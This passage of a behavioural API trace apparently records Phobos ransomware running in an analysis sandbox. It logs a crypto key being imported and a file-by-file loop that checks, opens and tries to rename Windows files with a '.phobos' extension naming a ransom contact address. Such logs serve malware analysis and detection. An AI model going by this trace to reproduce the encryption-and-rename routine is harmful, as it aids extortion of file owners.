lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0) Thread: id = 116 os_tid = 0x468 [0162.248] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a500a0 [0162.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a600a8 [0162.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f4f98 [0162.249] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x110102) returned 0x31ed020 [0162.252] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6f4fc8 [0162.252] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f9b8 | out: phKey=0x2e5f9b8*=0x1b8f08) returned 1 [0162.252] CryptSetKeyParam (hKey=0x1b8f08, dwParam=0x1, pbData=0x2e5f9a0, dwFlags=0x0) returned 1 [0162.252] CryptDecrypt (in: hKey=0x1b8f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4fc8, pdwDataLen=0x2e5f96c | out: pbData=0x6f4fc8, pdwDataLen=0x2e5f96c) returned 1 [0162.252] CryptDestroyKey (hKey=0x1b8f08) returned 1 [0162.253] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0162.253] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0162.253] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5fa04 | out: OldValue=0x2e5fa04*=0x0) returned 1 [0162.253] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4fc8 | out: hHeap=0x6f0000) returned 1 [0162.253] ResetEvent (hEvent=0x29c) returned 1 [0162.253] SetEvent (hEvent=0x2a0) returned 1 [0162.253] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0162.253] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0162.254] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=129) returned 1 [0162.254] CloseHandle (hObject=0x2b0) returned 1 [0162.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0162.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0162.257] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0162.682] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.572] ResetEvent (hEvent=0x29c) returned 1 [0163.572] SetEvent (hEvent=0x2a0) returned 1 [0163.572] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.573] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=111320) returned 1 [0163.573] CloseHandle (hObject=0x2d0) returned 1 [0163.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0163.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.574] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.578] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.578] ResetEvent (hEvent=0x29c) returned 1 [0163.578] SetEvent (hEvent=0x2a0) returned 1 [0163.578] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.579] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=46622) returned 1 [0163.579] CloseHandle (hObject=0x2d0) returned 1 [0163.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0163.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.579] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.600] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.601] ResetEvent (hEvent=0x29c) returned 1 [0163.601] SetEvent (hEvent=0x2a0) returned 1 [0163.601] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.602] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=180172) returned 1 [0163.602] CloseHandle (hObject=0x2d0) returned 1 [0163.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0163.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.603] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.606] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.607] ResetEvent (hEvent=0x29c) returned 1 [0163.607] SetEvent (hEvent=0x2a0) returned 1 [0163.607] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.608] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=199994) returned 1 [0163.608] CloseHandle (hObject=0x2d0) returned 1 [0163.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0163.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.609] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.613] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.619] ResetEvent (hEvent=0x29c) returned 1 [0163.619] SetEvent (hEvent=0x2a0) returned 1 [0163.619] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0163.620] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1600388) returned 1 [0163.620] CloseHandle (hObject=0x2c0) returned 1 [0163.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0163.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0163.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0163.621] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.627] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.628] ResetEvent (hEvent=0x29c) returned 1 [0163.628] SetEvent (hEvent=0x2a0) returned 1 [0163.628] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.629] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=212) returned 1 [0163.629] CloseHandle (hObject=0x2d0) returned 1 [0163.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0163.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.630] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.633] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.634] ResetEvent (hEvent=0x29c) returned 1 [0163.634] SetEvent (hEvent=0x2a0) returned 1 [0163.634] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.634] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=215) returned 1 [0163.634] CloseHandle (hObject=0x2d0) returned 1 [0163.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0163.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.635] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.638] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.638] ResetEvent (hEvent=0x29c) returned 1 [0163.638] SetEvent (hEvent=0x2a0) returned 1 [0163.638] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.639] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=903) returned 1 [0163.639] CloseHandle (hObject=0x2d4) returned 1 [0163.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0163.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.640] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.642] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.643] ResetEvent (hEvent=0x29c) returned 1 [0163.643] SetEvent (hEvent=0x2a0) returned 1 [0163.643] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.644] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=693) returned 1 [0163.644] CloseHandle (hObject=0x2d0) returned 1 [0163.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0163.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.645] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.648] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.649] ResetEvent (hEvent=0x29c) returned 1 [0163.649] SetEvent (hEvent=0x2a0) returned 1 [0163.649] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.650] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=247) returned 1 [0163.650] CloseHandle (hObject=0x2d4) returned 1 [0163.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0163.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.650] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.653] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.654] ResetEvent (hEvent=0x29c) returned 1 [0163.654] SetEvent (hEvent=0x2a0) returned 1 [0163.654] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.655] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3529) returned 1 [0163.655] CloseHandle (hObject=0x2d4) returned 1 [0163.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0163.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.656] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.659] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.659] ResetEvent (hEvent=0x29c) returned 1 [0163.659] SetEvent (hEvent=0x2a0) returned 1 [0163.659] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.660] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=804) returned 1 [0163.660] CloseHandle (hObject=0x2d4) returned 1 [0163.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0163.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.661] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.675] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.676] ResetEvent (hEvent=0x29c) returned 1 [0163.676] SetEvent (hEvent=0x2a0) returned 1 [0163.676] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.676] CreateFileW 